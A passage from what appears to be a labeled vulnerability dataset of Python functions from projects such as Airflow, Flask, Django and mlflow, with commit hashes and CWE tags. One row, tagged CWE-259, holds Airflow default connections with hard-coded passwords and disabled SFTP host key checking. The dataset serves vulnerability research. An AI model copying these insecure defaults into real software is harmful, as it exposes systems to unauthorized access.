            (""file:path/to/local/folder"", ""file:path/to/local/folder/{e}""),
            (""file:///path/to/local/folder"", ""file:///path/to/local/folder/{e}""),
            (""file:path/to/local/folder?param=value"", ""file:path/to/local/folder/{e}?param=value""),
            (""file:///path/to/local/folder"", ""file:///path/to/local/folder/{e}""),
            (
                ""file:///path/to/local/folder?param=value#fragment"",
                ""file:///path/to/local/folder/{e}?param=value#fragment"",
            ),
            (""s3://bucket/path/to/root"", ""s3://bucket/path/to/root/{e}""),
            (
                ""s3://bucket/path/to/root?creds=mycreds"",
                ""s3://bucket/path/to/root/{e}?creds=mycreds"",
            ),
            (
                ""dbscheme+driver://root@host/dbname?creds=mycreds#myfragment"",
                ""dbscheme+driver://root@host/dbname/{e}?creds=mycreds#myfragment"",
            ),
            (
                ""dbscheme+driver://root:password@hostname.com?creds=mycreds#myfragment"",
                ""dbscheme+driver://root:password@hostname.com/{e}?creds=mycreds#myfragment"",
            ),
            (
                ""dbscheme+driver://root:password@hostname.com/mydb?creds=mycreds#myfragment"",
                ""dbscheme+driver://root:password@hostname.com/mydb/{e}?creds=mycreds#myfragment"",
            ),
        ]

        # Patch `is_local_uri` to prevent the SqlAlchemy store from attempting to create local
        # filesystem directories for file URI and POSIX path test cases
        with mock.patch(""mlflow.store.tracking.sqlalchemy_store.is_local_uri"", return_value=False):
            for i in range(len(cases)):
                artifact_root_uri, expected_artifact_uri_format = cases[i]
                with TempDir() as tmp:
                    dbfile_path = tmp.path(""db"")
                    store = SqlAlchemyStore(
                        db_uri=""sqlite:///"" + dbfile_path, default_artifact_root=artifact_root_uri
                    )
                    exp_id = store.create_experiment(name=""exp"")
                    exp = store.get_experiment(exp_id)
                    assert exp.artifact_location == expected_artifact_uri_format.format(e=exp_id)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,examples/pytorch/CaptumExample/Titanic_Captum_Interpret.py,0,"def visualize_importances(
    feature_names,
    importances,
    title=""Average Feature Importances"",
    plot=True,
    axis_title=""Features"",
):
    print(title)
    feature_imp = PrettyTable([""feature_name"", ""importances""])
    feature_imp_dict = {}
    for i in range(len(feature_names)):
        print(feature_names[i], "": "", f""{importances[i]:.3f}"")
        feature_imp.add_row([feature_names[i], importances[i]])
        feature_imp_dict[str(feature_names[i])] = importances[i]
    x_pos = np.arange(len(feature_names))
    if plot:
        fig, ax = plt.subplots(figsize=(12, 6))
        ax.bar(x_pos, importances, align=""center"")
        ax.set(title=title, xlabel=axis_title)
        ax.set_xticks(x_pos)
        ax.set_xticklabels(feature_names, rotation=""vertical"")
        mlflow.log_figure(fig, title + "".png"")
    return feature_imp, feature_imp_dict",,mlflow/mlflow,4b1dd4b25e165530e321ac8db77e0d8eb9ab66c9,"def visualize_importances(
    feature_names,
    importances,
    title=""Average Feature Importances"",
    plot=True,
    axis_title=""Features"",
):
    print(title)
    feature_imp = PrettyTable([""feature_name"", ""importances""])
    feature_imp_dict = {}
    for i in range(len(feature_names)):
        print(feature_names[i], "": "", ""%.3f"" % (importances[i]))
        feature_imp.add_row([feature_names[i], importances[i]])
        feature_imp_dict[str(feature_names[i])] = importances[i]
    x_pos = np.arange(len(feature_names))
    if plot:
        fig, ax = plt.subplots(figsize=(12, 6))
        ax.bar(x_pos, importances, align=""center"")
        ax.set(title=title, xlabel=axis_title)
        ax.set_xticks(x_pos)
        ax.set_xticklabels(feature_names, rotation=""vertical"")
        mlflow.log_figure(fig, title + "".png"")
    return feature_imp, feature_imp_dict"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/providers/trino/hooks/trino.py,0,"def get_conn(self) -> Connection:
        """"""Returns a connection object""""""
        db = self.get_connection(self.trino_conn_id)  # type: ignore[attr-defined]
        extra = db.extra_dejson
        auth = None
        user = db.login
        session_properties = extra.get('session_properties')
        if db.password and extra.get('auth') in ('kerberos', 'certs'):
            raise AirflowException(f""The {extra.get('auth')!r} authorization type doesn't support password."")
        elif db.password:
            auth = trino.auth.BasicAuthentication(db.login, db.password)  # type: ignore[attr-defined]
        elif extra.get('auth') == 'jwt':
            auth = trino.auth.JWTAuthentication(token=extra.get('jwt__token'))
        elif extra.get('auth') == 'certs':
            auth = trino.auth.CertificateAuthentication(
                extra.get('certs__client_cert_path'),
                extra.get('certs__client_key_path'),
            )
        elif extra.get('auth') == 'kerberos':
            auth = trino.auth.KerberosAuthentication(  # type: ignore[attr-defined]
                config=extra.get('kerberos__config', os.environ.get('KRB5_CONFIG')),
                service_name=extra.get('kerberos__service_name'),
                mutual_authentication=_boolify(extra.get('kerberos__mutual_authentication', False)),
                force_preemptive=_boolify(extra.get('kerberos__force_preemptive', False)),
                hostname_override=extra.get('kerberos__hostname_override'),
                sanitize_mutual_error_response=_boolify(
                    extra.get('kerberos__sanitize_mutual_error_response', True)
                ),
                principal=extra.get('kerberos__principal', conf.get('kerberos', 'principal')),
                delegate=_boolify(extra.get('kerberos__delegate', False)),
                ca_bundle=extra.get('kerberos__ca_bundle'),
            )

        if _boolify(extra.get('impersonate_as_owner', False)):
            user = os.getenv('AIRFLOW_CTX_DAG_OWNER', None)
            if user is None:
                user = db.login
        http_headers = {""X-Trino-Client-Info"": generate_trino_client_info()}
        trino_conn = trino.dbapi.connect(
            host=db.host,
            port=db.port,
            user=user,
            source=extra.get('source', 'airflow'),
            http_scheme=extra.get('protocol', 'http'),
            http_headers=http_headers,
            catalog=extra.get('catalog', 'hive'),
            schema=db.schema,
            auth=auth,
            # type: ignore[func-returns-value]
            isolation_level=self.get_isolation_level(),
            verify=_boolify(extra.get('verify', True)),
            session_properties=session_properties if session_properties else None,
        )

        return trino_conn",CWE-Unknown,apache/airflow,17b97e755a1e4b10b3bb47a3f334ed2677ac5ba5,"def get_conn(self) -> Connection:
        """"""Returns a connection object""""""
        db = self.get_connection(self.trino_conn_id)  # type: ignore[attr-defined]
        extra = db.extra_dejson
        auth = None
        user = db.login
        if db.password and extra.get('auth') in ('kerberos', 'certs'):
            raise AirflowException(f""The {extra.get('auth')!r} authorization type doesn't support password."")
        elif db.password:
            auth = trino.auth.BasicAuthentication(db.login, db.password)  # type: ignore[attr-defined]
        elif extra.get('auth') == 'jwt':
            auth = trino.auth.JWTAuthentication(token=extra.get('jwt__token'))
        elif extra.get('auth') == 'certs':
            auth = trino.auth.CertificateAuthentication(
                extra.get('certs__client_cert_path'),
                extra.get('certs__client_key_path'),
            )
        elif extra.get('auth') == 'kerberos':
            auth = trino.auth.KerberosAuthentication(  # type: ignore[attr-defined]
                config=extra.get('kerberos__config', os.environ.get('KRB5_CONFIG')),
                service_name=extra.get('kerberos__service_name'),
                mutual_authentication=_boolify(extra.get('kerberos__mutual_authentication', False)),
                force_preemptive=_boolify(extra.get('kerberos__force_preemptive', False)),
                hostname_override=extra.get('kerberos__hostname_override'),
                sanitize_mutual_error_response=_boolify(
                    extra.get('kerberos__sanitize_mutual_error_response', True)
                ),
                principal=extra.get('kerberos__principal', conf.get('kerberos', 'principal')),
                delegate=_boolify(extra.get('kerberos__delegate', False)),
                ca_bundle=extra.get('kerberos__ca_bundle'),
            )

        if _boolify(extra.get('impersonate_as_owner', False)):
            user = os.getenv('AIRFLOW_CTX_DAG_OWNER', None)
            if user is None:
                user = db.login
        http_headers = {""X-Trino-Client-Info"": generate_trino_client_info()}
        trino_conn = trino.dbapi.connect(
            host=db.host,
            port=db.port,
            user=user,
            source=extra.get('source', 'airflow'),
            http_scheme=extra.get('protocol', 'http'),
            http_headers=http_headers,
            catalog=extra.get('catalog', 'hive'),
            schema=db.schema,
            auth=auth,
            # type: ignore[func-returns-value]
            isolation_level=self.get_isolation_level(),
            verify=_boolify(extra.get('verify', True)),
        )

        return trino_conn"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/formtools/wizard/views.py,0,"def as_view(cls, *args, **kwargs):
        """"""
        This method is used within urls.py to create unique wizardview
        instances for every request. We need to override this method because
        we add some kwargs which are needed to make the wizardview usable.
        """"""
        initkwargs = cls.get_initkwargs(*args, **kwargs)
        return super(WizardView, cls).as_view(**initkwargs)",CWE-Unknown,django/django,f2c55d2ee1b161b8ea96bed446deb45c63039e0a,"def as_view(cls, *args, **kwargs):
        """"""
        This method is used within urls.py to create unique wizardview
        instances for every request. We need to override this method because
        we add some kwargs which are needed to make the wizardview usable.
        """"""
        initkwargs = cls.get_initkwargs(*args, **kwargs)
        return super(WizardView, cls).as_view(**initkwargs)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/playbook/conditional.py,0,"def evaluate_conditional(self, templar, all_vars):
        '''
        Loops through the conditionals set on this object, returning
        False if any of them evaluate as such.
        '''

        # since this is a mix-in, it may not have an underlying datastructure
        # associated with it, so we pull it out now in case we need it for
        # error reporting below
        ds = None
        if hasattr(self, '_ds'):
            ds = getattr(self, '_ds')

        try:
            for conditional in self.when:
                if not self._check_conditional(conditional, templar, all_vars):
                    return False
        except Exception as e:
            raise AnsibleError(""The conditional check '%s' failed. The error was: %s"" % (conditional, e), obj=ds)

        return True",,ansible/ansible,df1268ed690feca03dabf7458b8d6e6dbb7f5256,"def evaluate_conditional(self, templar, all_vars):
        '''
        Loops through the conditionals set on this object, returning
        False if any of them evaluate as such.
        '''

        # since this is a mixin, it may not have an underlying datastructure
        # associated with it, so we pull it out now in case we need it for
        # error reporting below
        ds = None
        if hasattr(self, '_ds'):
            ds = getattr(self, '_ds')

        try:
            for conditional in self.when:
                if not self._check_conditional(conditional, templar, all_vars):
                    return False
        except Exception as e:
            raise AnsibleError(""The conditional check '%s' failed. The error was: %s"" % (conditional, e), obj=ds)

        return True"
functions_for_requests_with_cwe.csv,UNKNOWN,UNKNOWN,tests/test_requests.py,0,"def test_post_json_nan(self, httpbin):
        data = {""foo"": float(""nan"")}
        with pytest.raises(requests.exceptions.InvalidJSONError):
          r = requests.post(httpbin('post'), json=data)",,psf/requests,db575eeedcfdb03bf31285afd3033e301df8b685,"def test_post_json_nan(self, httpbin):
        data = {""foo"": float(""nan"")}
        with pytest.raises(requests.exceptions.InvalidJSONError):
          r = requests.post(httpbin('post'), json=data)"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/app.py,0,"def add_url_rule(self, rule, endpoint=None, view_func=None, **options):
        """"""Connects a URL rule.  Works exactly like the :meth:`route`
        decorator.  If a view_func is provided it will be registered with the
        endpoint.

        Basically this example::

            @app.route('/')
            def index():
                pass

        Is equivalent to the following::

            def index():
                pass
            app.add_url_rule('/', 'index', index)

        If the view_func is not provided you will need to connect the endpoint
        to a view function like so::

            app.view_functions['index'] = index

        Internally :meth:`route` invokes :meth:`add_url_rule` so if you want
        to customize the behavior via subclassing you only need to change
        this method.

        For more information refer to :ref:`url-route-registrations`.

        .. versionchanged:: 0.2
           `view_func` parameter added.

        .. versionchanged:: 0.6
           `OPTIONS` is added automatically as method.

        :param rule: the URL rule as string
        :param endpoint: the endpoint for the registered URL rule.  Flask
                         itself assumes the name of the view function as
                         endpoint
        :param view_func: the function to call when serving a request to the
                          provided endpoint
        :param options: the options to be forwarded to the underlying
                        :class:`~werkzeug.routing.Rule` object.  A change
                        to Werkzeug is handling of method options.  methods
                        is a list of methods this rule should be limited
                        to (`GET`, `POST` etc.).  By default a rule
                        just listens for `GET` (and implicitly `HEAD`).
                        Starting with Flask 0.6, `OPTIONS` is implicitly
                        added and handled by the standard request handling.
        """"""
        if endpoint is None:
            endpoint = _endpoint_from_view_func(view_func)
        options['endpoint'] = endpoint
        methods = options.pop('methods', None)

        # if the methods are not given and the view_func object knows its
        # methods we can use that instead.  If neither exists, we go with
        # a tuple of only `GET` as default.
        if methods is None:
            methods = getattr(view_func, 'methods', None) or ('GET',)
        methods = set(methods)

        # Methods that should always be added
        required_methods = set(getattr(view_func, 'required_methods', ()))

        # starting with Flask 0.8 the view_func object can disable and
        # force-enable the automatic options handling.
        provide_automatic_options = getattr(view_func,
            'provide_automatic_options', None)

        if provide_automatic_options is None:
            if 'OPTIONS' not in methods:
                provide_automatic_options = True
                required_methods.add('OPTIONS')
            else:
                provide_automatic_options = False

        # Add the required methods now.
        methods |= required_methods

        rule = self.url_rule_class(rule, methods=methods, **options)
        rule.provide_automatic_options = provide_automatic_options

        self.url_map.add(rule)
        if view_func is not None:
            old_func = self.view_functions.get(endpoint)
            if old_func is not None and old_func != view_func:
                raise AssertionError('View function mapping is overwriting an '
                                     'existing endpoint function: %s' % endpoint)
            self.view_functions[endpoint] = view_func",,pallets/flask,da49f7398d80cdd34e7f0bce28ea119a19d8c81d,"def add_url_rule(self, rule, endpoint=None, view_func=None, **options):
        """"""Connects a URL rule.  Works exactly like the :meth:`route`
        decorator.  If a view_func is provided it will be registered with the
        endpoint.

        Basically this example::

            @app.route('/')
            def index():
                pass

        Is equivalent to the following::

            def index():
                pass
            app.add_url_rule('/', 'index', index)

        If the view_func is not provided you will need to connect the endpoint
        to a view function like so::

            app.view_functions['index'] = index

        Internally :meth:`route` invokes :meth:`add_url_rule` so if you want
        to customize the behavior via subclassing you only need to change
        this method.

        For more information refer to :ref:`url-route-registrations`.

        .. versionchanged:: 0.2
           `view_func` parameter added.

        .. versionchanged:: 0.6
           `OPTIONS` is added automatically as method.

        :param rule: the URL rule as string
        :param endpoint: the endpoint for the registered URL rule.  Flask
                         itself assumes the name of the view function as
                         endpoint
        :param view_func: the function to call when serving a request to the
                          provided endpoint
        :param options: the options to be forwarded to the underlying
                        :class:`~werkzeug.routing.Rule` object.  A change
                        to Werkzeug is handling of method options.  methods
                        is a list of methods this rule should be limited
                        to (`GET`, `POST` etc.).  By default a rule
                        just listens for `GET` (and implicitly `HEAD`).
                        Starting with Flask 0.6, `OPTIONS` is implicitly
                        added and handled by the standard request handling.
        """"""
        if endpoint is None:
            endpoint = _endpoint_from_view_func(view_func)
        options['endpoint'] = endpoint
        methods = options.pop('methods', None)

        # if the methods are not given and the view_func object knows its
        # methods we can use that instead.  If neither exists, we go with
        # a tuple of only `GET` as default.
        if methods is None:
            methods = getattr(view_func, 'methods', None) or ('GET',)
        methods = set(methods)

        # Methods that should always be added
        required_methods = set(getattr(view_func, 'required_methods', ()))

        # starting with Flask 0.8 the view_func object can disable and
        # force-enable the automatic options handling.
        provide_automatic_options = getattr(view_func,
            'provide_automatic_options', None)

        if provide_automatic_options is None:
            if 'OPTIONS' not in methods:
                provide_automatic_options = True
                required_methods.add('OPTIONS')
            else:
                provide_automatic_options = False

        # Add the required methods now.
        methods |= required_methods

        # due to a werkzeug bug we need to make sure that the defaults are
        # None if they are an empty dictionary.  This should not be necessary
        # with Werkzeug 0.7
        options['defaults'] = options.get('defaults') or None

        rule = self.url_rule_class(rule, methods=methods, **options)
        rule.provide_automatic_options = provide_automatic_options

        self.url_map.add(rule)
        if view_func is not None:
            old_func = self.view_functions.get(endpoint)
            if old_func is not None and old_func != view_func:
                raise AssertionError('View function mapping is overwriting an '
                                     'existing endpoint function: %s' % endpoint)
            self.view_functions[endpoint] = view_func"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/controllers/dependency_check/helper_script.py,0,,,andresriancho/w3af,826b357de5a9c37b6834e9900a1447076502120c,"def generate_helper_script(pkg_manager_cmd, os_packages,
                              pip_cmd, failed_deps):
    '''
    Generates a helper script to be run by the user to install all the
    dependencies.
    
    :return: The path to the script name.
    '''
    temp_dir = tempfile.gettempdir()
    
    script_path = os.path.join(temp_dir, SCRIPT_NAME)
    
    script_file = file(script_path, 'w')
    script_file.write('#!/bin/bash\n')
    
    #
    #    Report the missing system packages
    #
    if os_packages:
        missing_pkgs = ' '.join(os_packages)
        script_file.write('%s %s\n' % (pkg_manager_cmd, missing_pkgs))
        
    #
    #    Report all missing python modules
    #    
    if failed_deps:
        not_git_pkgs = [fdep for fdep in failed_deps if not fdep.is_git]
        git_pkgs = [fdep.git_src for fdep in failed_deps if fdep.is_git]
        
        if not_git_pkgs:
            cmd = generate_pip_install_non_git(pip_cmd, not_git_pkgs)
            script_file.write('%s\n' % cmd)
        
        if git_pkgs:
            for missing_git_pkg in git_pkgs:
                cmd = 'sudo %s install %s' % (pip_cmd, missing_git_pkg)
                script_file.write('%s\n' % cmd)
    
    script_file.close()
    return script_path"
,UNKNOWN,UNKNOWN,airflow/utils/db.py,1,"def create_default_connections(session=None):
    """"""Create default Airflow connections.""""""
    merge_conn(
        Connection(
            conn_id=""airflow_db"",
            conn_type=""mysql"",
            host=""mysql"",
            login=""root"",
            password="""",
            schema=""airflow"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""aws_default"",
            conn_type=""aws"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""azure_batch_default"",
            conn_type=""azure_batch"",
            login=""<ACCOUNT_NAME>"",
            password="""",
            extra='''{""account_url"": ""<ACCOUNT_URL>""}''',
        )
    )
    merge_conn(
        Connection(
            conn_id=""azure_container_instances_default"",
            conn_type=""azure_container_instances"",
            extra='{""tenantId"": ""<TENANT>"", ""subscriptionId"": ""<SUBSCRIPTION ID>"" }',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""azure_cosmos_default"",
            conn_type=""azure_cosmos"",
            extra='{""database_name"": ""<DATABASE_NAME>"", ""collection_name"": ""<COLLECTION_NAME>"" }',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id='azure_data_explorer_default',
            conn_type='azure_data_explorer',
            host='https://<CLUSTER>.kusto.windows.net',
            extra='''{""auth_method"": ""<AAD_APP | AAD_APP_CERT | AAD_CREDS | AAD_DEVICE>"",
                    ""tenant"": ""<TENANT ID>"", ""certificate"": ""<APPLICATION PEM CERTIFICATE>"",
                    ""thumbprint"": ""<APPLICATION CERTIFICATE THUMBPRINT>""}''',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""azure_data_lake_default"",
            conn_type=""azure_data_lake"",
            extra='{""tenant"": ""<TENANT>"", ""account_name"": ""<ACCOUNTNAME>"" }',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""cassandra_default"",
            conn_type=""cassandra"",
            host=""cassandra"",
            port=9042,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""databricks_default"",
            conn_type=""databricks"",
            host=""localhost"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""dingding_default"",
            conn_type=""http"",
            host="""",
            password="""",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""druid_broker_default"",
            conn_type=""druid"",
            host=""druid-broker"",
            port=8082,
            extra='{""endpoint"": ""druid/v2/sql""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""druid_ingest_default"",
            conn_type=""druid"",
            host=""druid-overlord"",
            port=8081,
            extra='{""endpoint"": ""druid/indexer/v1/task""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""elasticsearch_default"",
            conn_type=""elasticsearch"",
            host=""localhost"",
            schema=""http"",
            port=9200,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""emr_default"",
            conn_type=""emr"",
            extra=""""""
                {   ""Name"": ""default_job_flow_name"",
                    ""LogUri"": ""s3://my-emr-log-bucket/default_job_flow_location"",
                    ""ReleaseLabel"": ""emr-4.6.0"",
                    ""Instances"": {
                        ""Ec2KeyName"": ""mykey"",
                        ""Ec2SubnetId"": ""somesubnet"",
                        ""InstanceGroups"": [
                            {
                                ""Name"": ""Master nodes"",
                                ""Market"": ""ON_DEMAND"",
                                ""InstanceRole"": ""MASTER"",
                                ""InstanceType"": ""r3.2xlarge"",
                                ""InstanceCount"": 1
                            },
                            {
                                ""Name"": ""Slave nodes"",
                                ""Market"": ""ON_DEMAND"",
                                ""InstanceRole"": ""CORE"",
                                ""InstanceType"": ""r3.2xlarge"",
                                ""InstanceCount"": 1
                            }
                        ],
                        ""TerminationProtected"": false,
                        ""KeepJobFlowAliveWhenNoSteps"": false
                    },
                    ""Applications"":[
                        { ""Name"": ""Spark"" }
                    ],
                    ""VisibleToAllUsers"": true,
                    ""JobFlowRole"": ""EMR_EC2_DefaultRole"",
                    ""ServiceRole"": ""EMR_DefaultRole"",
                    ""Tags"": [
                        {
                            ""Key"": ""app"",
                            ""Value"": ""analytics""
                        },
                        {
                            ""Key"": ""environment"",
                            ""Value"": ""development""
                        }
                    ]
                }
            """""",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""facebook_default"",
            conn_type=""facebook_social"",
            extra=""""""
                {   ""account_id"": ""<AD_ACCOUNNT_ID>"",
                    ""app_id"": ""<FACEBOOK_APP_ID>"",
                    ""app_secret"": ""<FACEBOOK_APP_SECRET>"",
                    ""access_token"": ""<FACEBOOK_AD_ACCESS_TOKEN>""
                }
            """""",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""fs_default"",
            conn_type=""fs"",
            extra='{""path"": ""/""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""google_cloud_default"",
            conn_type=""google_cloud_platform"",
            schema=""default"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""hive_cli_default"",
            conn_type=""hive_cli"",
            port=10000,
            host=""localhost"",
            extra='{""use_beeline"": true, ""auth"": """"}',
            schema=""default"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""hiveserver2_default"",
            conn_type=""hiveserver2"",
            host=""localhost"",
            schema=""default"",
            port=10000,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""http_default"",
            conn_type=""http"",
            host=""https://www.httpbin.org/"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id='kubernetes_default',
            conn_type='kubernetes',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id='kylin_default',
            conn_type='kylin',
            host='localhost',
            port=7070,
            login=""ADMIN"",
            password=""KYLIN"",
        ),
        session,
    )
    merge_conn(Connection(conn_id=""livy_default"", conn_type=""livy"", host=""livy"", port=8998), session)
    merge_conn(
        Connection(
            conn_id=""local_mysql"",
            conn_type=""mysql"",
            host=""localhost"",
            login=""airflow"",
            password=""airflow"",
            schema=""airflow"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""metastore_default"",
            conn_type=""hive_metastore"",
            host=""localhost"",
            extra='{""authMechanism"": ""PLAIN""}',
            port=9083,
        ),
        session,
    )
    merge_conn(Connection(conn_id=""mongo_default"", conn_type=""mongo"", host=""mongo"", port=27017), session)
    merge_conn(
        Connection(
            conn_id=""mssql_default"",
            conn_type=""mssql"",
            host=""localhost"",
            port=1433,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""mysql_default"",
            conn_type=""mysql"",
            login=""root"",
            schema=""airflow"",
            host=""mysql"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""opsgenie_default"",
            conn_type=""http"",
            host="""",
            password="""",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""pig_cli_default"",
            conn_type=""pig_cli"",
            schema=""default"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""pinot_admin_default"",
            conn_type=""pinot"",
            host=""localhost"",
            port=9000,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""pinot_broker_default"",
            conn_type=""pinot"",
            host=""localhost"",
            port=9000,
            extra='{""endpoint"": ""/query"", ""schema"": ""http""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""postgres_default"",
            conn_type=""postgres"",
            login=""postgres"",
            password=""airflow"",
            schema=""airflow"",
            host=""postgres"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""presto_default"",
            conn_type=""presto"",
            host=""localhost"",
            schema=""hive"",
            port=3400,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""qubole_default"",
            conn_type=""qubole"",
            host=""localhost"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""redis_default"",
            conn_type=""redis"",
            host=""redis"",
            port=6379,
            extra='{""db"": 0}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""segment_default"",
            conn_type=""segment"",
            extra='{""write_key"": ""my-segment-write-key""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""sftp_default"",
            conn_type=""sftp"",
            host=""localhost"",
            port=22,
            login=""airflow"",
            extra='{""key_file"": ""~/.ssh/id_rsa"", ""no_host_key_check"": true}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""spark_default"",
            conn_type=""spark"",
            host=""yarn"",
            extra='{""queue"": ""root.default""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""sqlite_default"",
            conn_type=""sqlite"",
            host=""/tmp/sqlite_default.db"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""sqoop_default"",
            conn_type=""sqoop"",
            host=""rdbms"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""ssh_default"",
            conn_type=""ssh"",
            host=""localhost"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""tableau_default"",
            conn_type=""tableau"",
            host=""https://tableau.server.url"",
            login=""user"",
            password=""password"",
            extra='{""site_id"": ""my_site""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""trino_default"",
            conn_type=""trino"",
            host=""localhost"",
            schema=""hive"",
            port=3400,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""vertica_default"",
            conn_type=""vertica"",
            host=""localhost"",
            port=5433,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""wasb_default"",
            conn_type=""wasb"",
            extra='{""sas_token"": null}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""webhdfs_default"",
            conn_type=""hdfs"",
            host=""localhost"",
            port=50070,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id='yandexcloud_default',
            conn_type='yandexcloud',
            schema='default',
        ),
        session,
    )",CWE-259,apache/airflow,dcf7f9cffbdfb9e3a0e41be400378dabd545fd24,"def create_default_connections(session=None):
    """"""Create default Airflow connections.""""""
    merge_conn(
        Connection(
            conn_id=""airflow_db"",
            conn_type=""mysql"",
            host=""mysql"",
            login=""root"",
            password="""",
            schema=""airflow"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""aws_default"",
            conn_type=""aws"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""azure_batch_default"",
            conn_type=""azure_batch"",
            login=""<ACCOUNT_NAME>"",
            password="""",
            extra='''{""account_url"": ""<ACCOUNT_URL>""}''',
        )
    )
    merge_conn(
        Connection(
            conn_id=""azure_container_instances_default"",
            conn_type=""azure_container_instances"",
            extra='{""tenantId"": ""<TENANT>"", ""subscriptionId"": ""<SUBSCRIPTION ID>"" }',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""azure_cosmos_default"",
            conn_type=""azure_cosmos"",
            extra='{""database_name"": ""<DATABASE_NAME>"", ""collection_name"": ""<COLLECTION_NAME>"" }',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id='azure_data_explorer_default',
            conn_type='azure_data_explorer',
            host='https://<CLUSTER>.kusto.windows.net',
            extra='''{""auth_method"": ""<AAD_APP | AAD_APP_CERT | AAD_CREDS | AAD_DEVICE>"",
                    ""tenant"": ""<TENANT ID>"", ""certificate"": ""<APPLICATION PEM CERTIFICATE>"",
                    ""thumbprint"": ""<APPLICATION CERTIFICATE THUMBPRINT>""}''',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""azure_data_lake_default"",
            conn_type=""azure_data_lake"",
            extra='{""tenant"": ""<TENANT>"", ""account_name"": ""<ACCOUNTNAME>"" }',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""cassandra_default"",
            conn_type=""cassandra"",
            host=""cassandra"",
            port=9042,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""databricks_default"",
            conn_type=""databricks"",
            host=""localhost"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""dingding_default"",
            conn_type=""http"",
            host="""",
            password="""",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""druid_broker_default"",
            conn_type=""druid"",
            host=""druid-broker"",
            port=8082,
            extra='{""endpoint"": ""druid/v2/sql""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""druid_ingest_default"",
            conn_type=""druid"",
            host=""druid-overlord"",
            port=8081,
            extra='{""endpoint"": ""druid/indexer/v1/task""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""elasticsearch_default"",
            conn_type=""elasticsearch"",
            host=""localhost"",
            schema=""http"",
            port=9200,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""emr_default"",
            conn_type=""emr"",
            extra=""""""
                {   ""Name"": ""default_job_flow_name"",
                    ""LogUri"": ""s3://my-emr-log-bucket/default_job_flow_location"",
                    ""ReleaseLabel"": ""emr-4.6.0"",
                    ""Instances"": {
                        ""Ec2KeyName"": ""mykey"",
                        ""Ec2SubnetId"": ""somesubnet"",
                        ""InstanceGroups"": [
                            {
                                ""Name"": ""Master nodes"",
                                ""Market"": ""ON_DEMAND"",
                                ""InstanceRole"": ""MASTER"",
                                ""InstanceType"": ""r3.2xlarge"",
                                ""InstanceCount"": 1
                            },
                            {
                                ""Name"": ""Slave nodes"",
                                ""Market"": ""ON_DEMAND"",
                                ""InstanceRole"": ""CORE"",
                                ""InstanceType"": ""r3.2xlarge"",
                                ""InstanceCount"": 1
                            }
                        ],
                        ""TerminationProtected"": false,
                        ""KeepJobFlowAliveWhenNoSteps"": false
                    },
                    ""Applications"":[
                        { ""Name"": ""Spark"" }
                    ],
                    ""VisibleToAllUsers"": true,
                    ""JobFlowRole"": ""EMR_EC2_DefaultRole"",
                    ""ServiceRole"": ""EMR_DefaultRole"",
                    ""Tags"": [
                        {
                            ""Key"": ""app"",
                            ""Value"": ""analytics""
                        },
                        {
